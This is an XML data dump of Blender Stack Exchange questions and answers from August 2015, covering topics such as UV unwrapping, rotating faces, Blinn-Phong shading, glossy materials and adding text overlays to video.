  <row Id="36406" PostTypeId="2" ParentId="36400" CreationDate="2015-08-25T16:40:13.430" Score="2" Body="&lt;p&gt;You must enable the blender game engine, there you will find the navigation mesh&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-25T16:40:13.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36407" PostTypeId="1" CreationDate="2015-08-25T17:30:49.807" Score="0" ViewCount="324" Body="&lt;p&gt;&lt;br&gt;Actually, I am interested in working with Blinn-Phong reflection model in my rendering process, but unfortunately, there is no such a reflection model in Blender.&#xA;&lt;br&gt;(Yes, It has Blinn and Phong reflection models separately, but I need the third one, Blinn-Phong)&lt;br&gt;I've read &lt;a href=&quot;https://developer.blender.org/T34564&quot; rel=&quot;nofollow&quot;&gt;somewhere&lt;/a&gt; that the Blender CookTorr reflection model is actually the Blinn-Phong model but I could not understand how to set the specular exponent (shiny) of the Bilnn-Phong model using CookTorr input parameters (Hardness maybe?)&#xA;&lt;br&gt;Since I am new in using Blender, I want to know is there any possibility to define Blinn-Phong reflection model as a user defined reflection model? &lt;br&gt;If yes, should I use Blender &quot;Node Editor&quot; to define a new material?&#xA;&lt;br&gt;Has anyone done this before? (Blinn-Phong is a well-known reflection model, isn't it?)&#xA;&lt;br&gt;If yes, it would be appreciated to let me have a look :-) &#xA;&lt;br&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="16687" LastEditorUserId="16687" LastEditDate="2015-08-26T09:17:28.250" LastActivityDate="2021-05-06T02:06:13.003" Title="Whether someone has done a user defined version of Blinn-Phong (not Blinn and not Phong separately) reflection model in the node editor?" Tags="&lt;materials&gt;&lt;nodes&gt;&lt;blender-internal-render-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36408" PostTypeId="1" AcceptedAnswerId="36409" CreationDate="2015-08-25T17:38:20.163" Score="3" ViewCount="825" Body="&lt;p&gt;i would like to know how to rearrange uv maps to where i want, without messing vertices. For example putting a couple UV on top of e.a other because they have the same texture. Im having a problem doing that because when i try to grab, other vertices come as well.&lt;/p&gt;&#xA;" OwnerUserId="7615" LastActivityDate="2015-08-25T17:48:44.980" Title="Rearrange uv where i want" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36409" PostTypeId="2" ParentId="36408" CreationDate="2015-08-25T17:48:44.980" Score="4" Body="&lt;p&gt;Make sure proportional editing is disabled, then enable &lt;strong&gt;Keep UV and edit mode mesh selection in sync&lt;/strong&gt; and enable Face Selection mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can select the faces and rearrange them as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VoLSW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VoLSW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-08-25T17:48:44.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36410" PostTypeId="2" ParentId="36407" CreationDate="2015-08-25T17:58:05.767" Score="-4" Body="&lt;p&gt;Q. I want to know is there any possibility to define Blinn-Phong reflection model as a user defined reflection model?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. Yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q.If yes, should I use Blender &quot;Node Editor&quot; to define a new material?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. Yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q. Has anyone done this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. Yes, quite so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will try not to write a 2718 page treatise here.  Cycles render engine is designed as a photo realistic (PR) physics based renderer. Blender render is a respectable renderer different than cycles.  I am trying to give you some terms for further research.  Your public library probably has electronic titles on Cycles and there is the general internet and there are just a few video tutorials on video websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we look at the node system for Cycles we are delivered fragments with geometric surface normal information, camera information and more.  Vector operations resulting in scalars such as dot product are available and are quite relevant to shading.  So you have the freedom to write original or not so original shaders.  Your results can be physics based or artistically styled.  Many relevant math functions are available such as sine, cosine, modulus. Your image is as unlimited as your creativity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Know that dot product and vector product are your BFF when shading.  Just remember to get some sleep once in a while.  Try to take breaks every 8 hours of writing material nodes.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-25T18:26:48.330" LastActivityDate="2015-08-25T18:26:48.330" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36411" PostTypeId="1" AcceptedAnswerId="36416" CreationDate="2015-08-25T18:01:37.323" Score="4" ViewCount="322" Body="&lt;p&gt;I am trying to rotate a face downwards so that it looks like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/PKa6S.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PKa6S.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not been able to do this by the R and any Shift+Z or X, Y or Y command. &#xA;This is just a fake screenshot where I moved the vertices manually, to demonstrate what it should look like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uploaded the model here:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/37734&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/37734&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="599" LastEditDate="2015-08-25T18:32:32.970" LastActivityDate="2015-08-25T18:37:47.310" Title="Rotating face downwards" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36412" PostTypeId="1" CreationDate="2015-08-25T18:01:43.473" Score="2" ViewCount="178" Body="&lt;p&gt;I have a cube 'static' with a collision sensor to my character, and near that cube there should spawn in nearby distances, but random, another cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the player walks against the other cube there should happen the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I write this in python?&lt;/p&gt;&#xA;" OwnerUserId="16689" LastEditorUserId="599" LastEditDate="2015-08-25T18:29:31.143" LastActivityDate="2015-08-25T18:29:31.143" Title="How to randomly spawn objects a limited distance from another object?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36414" PostTypeId="2" ParentId="36411" CreationDate="2015-08-25T18:27:04.943" Score="9" Body="&lt;h2&gt;Rotate using the 3D cursor as a pivot&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;With &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; you can snap the cursor to the geometry. Than set the Pivot to 3D cursor and rotate on the wanted axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZhXpT.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZhXpT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-08-25T18:37:44.267" LastActivityDate="2015-08-25T18:37:44.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36415" PostTypeId="2" ParentId="36411" CreationDate="2015-08-25T18:36:13.260" Score="0" Body="&lt;p&gt;One way to accomplish what you wish is to use vertex select mode, and select the vertex at the joint between the tab and the body of the barrel nearest the arrowhead in the lower image of the screenshot, and shown as selected in the screenshot below: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&lt;img src=&quot;https://i.stack.imgur.com/RfsNs.jpg&quot; alt=&quot;enter image description here&quot;&gt;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, using the &quot;cursor to selected&quot; option of the snap tool (&lt;kbd&gt;SHFT&lt;/kbd&gt; - &lt;kbd&gt;S&lt;/kbd&gt;, relocate the 3D cursor to that vertex, and change the pivot point to 3D cursor. Then making sure the barrel is rotated so the line between the center of the barrel and the tab you want to rotate is parallel with a major axis (X or Y), select the two faces you want to rotate, and rotate them along the perpendicular axis. You may need to rotate the barrel to fix the additional tabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you might adjust your workflow so that you create three staves of the barrel, including two with the tabs rotated, and one without a tab, and apply the array modifier to the mesh to create the rest of the body of the barrel. This will be quicker than moving each of the tabs individually. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-08-25T18:36:13.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36416" PostTypeId="2" ParentId="36411" CreationDate="2015-08-25T18:37:47.310" Score="2" Body="&lt;p&gt;Select the faces you want to rotate, Change Pivot Point to &lt;strong&gt;Individual Origins&lt;/strong&gt;, Transform Orientation to &lt;strong&gt;Normal&lt;/strong&gt; and hit &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; to rotate the faces&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/upn78.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/upn78.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-08-25T18:37:47.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36417" PostTypeId="1" CreationDate="2015-08-25T18:42:26.627" Score="25" ViewCount="34251" Body="&lt;p&gt;In the movie clip editor, I've been able to easily add movies and sound as well as adding special effects using keyframes.  That's all great, but I'd like to add some text hovering over the heads of the characters in the film.  Up until now, I've been making a .png image containing the text I want and then importing that for manipulation.  It works, but it's a painfully slow process, especially if I want to edit the text later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there an easier way to add text overlays to a movie for manipulation?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="16690" LastActivityDate="2017-11-09T06:38:39.367" Title="Can I (easily) add text to a movie?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36418" PostTypeId="1" CreationDate="2015-08-25T19:06:04.537" Score="2" ViewCount="231" Body="&lt;p&gt;I know I can use keyframes and use parent-relations in meshes in &lt;strong&gt;individual&lt;/strong&gt; objects. But is it possible to keyframe or use parent relations to separate meshes in &lt;strong&gt;the same object&lt;/strong&gt; (maybe when I use vertex groups)?&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2016-08-20T04:26:37.037" Title="Keyframe or parent separate meshes in same object?" Tags="&lt;objects&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36419" PostTypeId="2" ParentId="36417" CreationDate="2015-08-25T19:07:19.087" Score="1" Body="&lt;p&gt;Times change and Blender has a new feature.  Thus the edit.&#xA;Blender 2.76 has a simple text feature in the VSE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the date of this edit, I find the feature lacks expressiveness for frequent use. Its rather like cell phone texting.  I would still use the Blender 3D View to create text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly other free video editors have more expression for text overlays. In the Windows OS at one point, the free movie editor Windows Movie Maker had moderately expressive titling.  This might be valuable for some limited number of people.  I have not used that software years.  Lowly recommended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender is for unlimited expression, not ease of use.  Well the techniques below are probably easier than hand painting them in a primitive painting program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not searched extensively or recently for scripts or add ons for this task. I have written scripts to process text sequences in blender which I might later discuss here. Consider searching for scripts and add ons.  More adventurously you might write one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below the techniques are assuming that &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;3D rendering was time intensive and thus you might want keep repetitious renders to a minimum&lt;/li&gt;&#xA;&lt;li&gt;Desired text might be subject to many edits&lt;/li&gt;&#xA;&lt;li&gt;The text is meant to overlay the primary video only.  There is no 3D interaction to the primary video.  Its desirable to render the text separately and quickly, knowing further placement can be achieved in the Blender VSE.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Techniques&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Technique 1. Write your text paragraphs or phrases in a single blender text object and animate vertical movement to only show one paragraph at a time.  Render png sequence.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Technique 2.  Create many different text objects and animate their visibility with the render icon or layer switching.  Render PNG sequence.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Technique 3. Locate a script to render text sequences existing in a typed text file or similar for a range of frames with post processing.   This script would register an on frame change event.  Result is a sequence of PNG files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By using Blender 3D view you have ultimate control over style such as glowing and lattice warping and post processing.  Whether you want it or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your timeline is stable and your text is changing you can change the data files for the VSE strip with no position placement necessary.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2016-07-16T17:52:59.597" LastActivityDate="2016-07-16T17:52:59.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36420" PostTypeId="2" ParentId="36356" CreationDate="2015-08-25T19:14:40.577" Score="3" Body="&lt;h2&gt;Because you are duplicating from verts.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Seems that Blender currently (2.75a) can't inherit coordinates of duplicated objects from the parent only if they are not duplicated from faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ITR45.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ITR45.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would not be tehorically impossible to obtain the behavoiour you need as object mapping should not be strictly related to the way is generated, but for the moment it is. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The same issue is present with particles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5PzBF.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5PzBF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: is not clear why it doesnt work with with grid option enabled...&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-08-25T19:23:09.977" LastActivityDate="2015-08-25T19:23:09.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36421" PostTypeId="2" ParentId="36418" CreationDate="2015-08-25T19:16:08.130" Score="1" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use vertex groups and armatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an armature can move an attached hand of a human body mesh then it can also move disconnected sub meshes of a Blender Mesh Object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parent the mesh to an armature.  Use weight painting if necessary.  Armature need not to be connected. Think of the armature as a collection of controllers and not a mechanism to control an organic mesh model.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-25T19:22:55.603" LastActivityDate="2015-08-25T19:22:55.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36422" PostTypeId="2" ParentId="36417" CreationDate="2015-08-25T19:16:33.853" Score="17" Body="&lt;p&gt;As of 2.76, we now have a text tool in the VSE. &lt;a href=&quot;https://blender.stackexchange.com/a/36519/8262&quot;&gt;See 3pointedit's answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Pre 2.76 Answer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;(Also for more advanced control over the text)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, make sure you're in the Blender Internal Renderer.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/cmMbO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cmMbO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a text object, and change the font settings to your liking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QaEak.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QaEak.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a new material, set the color to your liking, and set it to shadeless (this can be changed, but a lot of the time, this is basically what is wanted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KklbT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KklbT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Properties panel (&lt;kbd&gt;N&lt;/kbd&gt;), switch the shading from Multitexture, to GLSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nhpml.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nhpml.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then make sure that your camera is aligned properly, and that in the shading settings, alpha is set to transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zsIq5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zsIq5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the VSE, add a scene clip, and choose your scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/leb7u.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/leb7u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then change the Blend mode to Alpha Over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the &lt;kbd&gt;N&lt;/kbd&gt; Panel of the viewer, set the render type to textured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6rLEX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6rLEX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the viewer, you'll notice that the text isn't aliased properly, but when the text is rendered, it should render correctly, but if it doesn't, rendering at double the resolution and then down grading should fix the issue.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-11-18T16:06:04.747" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36423" PostTypeId="1" CreationDate="2015-08-25T19:17:53.333" Score="0" ViewCount="306" Body="&lt;p&gt;OK, I am a newish user working with Blender 2.75 since August 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my first complex project modeled, time for some color.&#xA;Several objects in my model require different materials on different parts of the object. So, I picked out faces on an object and used the Node Editor to create a new material for them.  I then picked the other faces and created another new material for them. So far so good, that object now has the correct materials.&#xA;Now switching to another object I go into edit mode and pick out several faces. But when I go to materials and try to assign one of the materials to the faces it gets applied to the entire object. I try picking other faces and try applying a different material. Again the entire object is changed to that material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something obvious? Do I need to recreate the same NEW material for each object in order to apply it to selected faces?&lt;/p&gt;&#xA;" OwnerUserId="16552" LastActivityDate="2015-08-25T19:17:53.333" Title="Aplying material to individual faces of multiple objects" Tags="&lt;materials&gt;&lt;nodes&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36424" PostTypeId="1" CreationDate="2015-08-25T19:40:50.817" Score="2" ViewCount="7234" Body="&lt;p&gt;For some reason, my model won't unwrap.&#xA;I have uploaded the model here: &lt;a href=&quot;http://www.pasteall.org/blend/37735&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/37735&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing that surprises me is that if I try to select a ring, the ring stops at a certain vertex:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Fyb3U.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fyb3U.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have extended the ring manually, then clicked &quot;Mark Seam&quot;, then I selected the upper lid and the lower lid of the barrel and also clicked &quot;Mark Seam&quot; for each of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I now click 'u' and then 'Unwrap', nothing happens. I have been able to unwrap other models, but not this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody see where I might have missed something? Blender does not show any error message, it just doesn't unwrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I have uploaded a new model here to reflect the suggested changes: I removed all doubles, I applied rotation &amp;amp; scale, and I put the same in a location where Blender could select a whole ring automatically.&#xA;But it still won't unwrap:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/37739&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/37739&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2: Now here is a simpler model without the handles. It is really absolutely simple geometry (I think), but it still won't unwrap:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/37741&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/37741&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anybody have a look again? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="14968" LastEditDate="2015-08-25T21:58:39.867" LastActivityDate="2018-08-30T08:13:34.383" Title="Why won't my model unwrap?" Tags="&lt;mesh&gt;&lt;uv&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36425" PostTypeId="1" CreationDate="2015-08-25T19:53:31.697" Score="4" ViewCount="6930" Body="&lt;p&gt;If you use a glossy/shiny material, it will have certain shading. It will also reflect the world environment color, and nearby objects in the scene. Is there a way to make it so that you still have glossy shading, but that you don't get reflections?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Picture for clarification. Here we have a sphere with Diffuse and Glossy mixed based on fresnel, with no roughness. So it is a very shiny, reflective sphere. We can see that it is shaded by the glossy node, being lighter towards the edges (as fresnel does.) It is also reflecting the blue cube. I would like it to keep its shading, but not pick up reflections of nearby objects. If I increase its roughness, it still reflects the cube, it just looks more blurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of this is to be able to do non-photorealism where I can control what my shading looks like without it also increasing reflections. For example, the settings that you would use it have large, hard-edged toony specular highlights would also result in those areas being very reflective, which is not how they behave in toon styles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/X2kL9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/X2kL9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="13324" LastEditDate="2015-08-25T21:14:40.580" LastActivityDate="2019-02-03T22:43:59.567" Title="Get glossy shading but no reflections (Cycles)" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36426" PostTypeId="1" AcceptedAnswerId="36429" CreationDate="2015-08-25T19:59:17.253" Score="1" ViewCount="596" Body="&lt;p&gt;I would just like to know why when using both a translucent shader and a volume absorption shader the volume absorption shader will darken and color the look of the translucent shader. I understand it has something to do with the way the translucent shader works, but I would really like to understand exactly why this happens.&lt;/p&gt;&#xA;" OwnerUserId="16521" LastActivityDate="2015-08-25T20:13:09.750" Title="Combining Translucent and Volume Shaders" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36428" PostTypeId="2" ParentId="36424" CreationDate="2015-08-25T20:06:27.543" Score="1" Body="&lt;p&gt;I think it is impossible to select the whole edge using &lt;kbd&gt;Alt&lt;/kbd&gt;+RMB. It is a matter of geometry you've got there.&#xA; What you can do is select the upper edge/vertex and then (while holding the &lt;kbd&gt;Ctrl&lt;/kbd&gt; button) the bottom one.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/K0Ois.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K0Ois.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also select the upper vertex/edge, then (holding &lt;kbd&gt;Shift&lt;/kbd&gt;) the bottom one and then go to &lt;em&gt;Select--&gt;Shortest Path&lt;/em&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eg0YE.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eg0YE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;QUICK TIP: I figured out that your origin point is located outside the mesh. It is a good habit to keep it inside. Being in &lt;em&gt;Edit Mode&lt;/em&gt; select the whole mesh (&lt;kbd&gt;A&lt;/kbd&gt;), press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;--&gt;Cursor to Selected&lt;/em&gt; and then (being in &lt;em&gt;Object Mode&lt;/em&gt;) &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;--&gt;Origin to 3D Cursor&lt;/em&gt; to place an origin point inside a mesh.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/e8k9y.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e8k9y.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: You'll probably have to delete the top and bottom ngons to make a proper unwrap. And make sure to remove the doubles (being in &lt;em&gt;Edit mode&lt;/em&gt; select the whole mesh [&lt;kbd&gt;A&lt;/kbd&gt;]), then press &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;--&gt;Remove Doubles&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've unwrapped a mesh and the UV islands look like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/cOqbR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cOqbR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend to download:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/37742&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/37742&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-25T22:54:46.273" LastActivityDate="2015-08-25T22:54:46.273" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
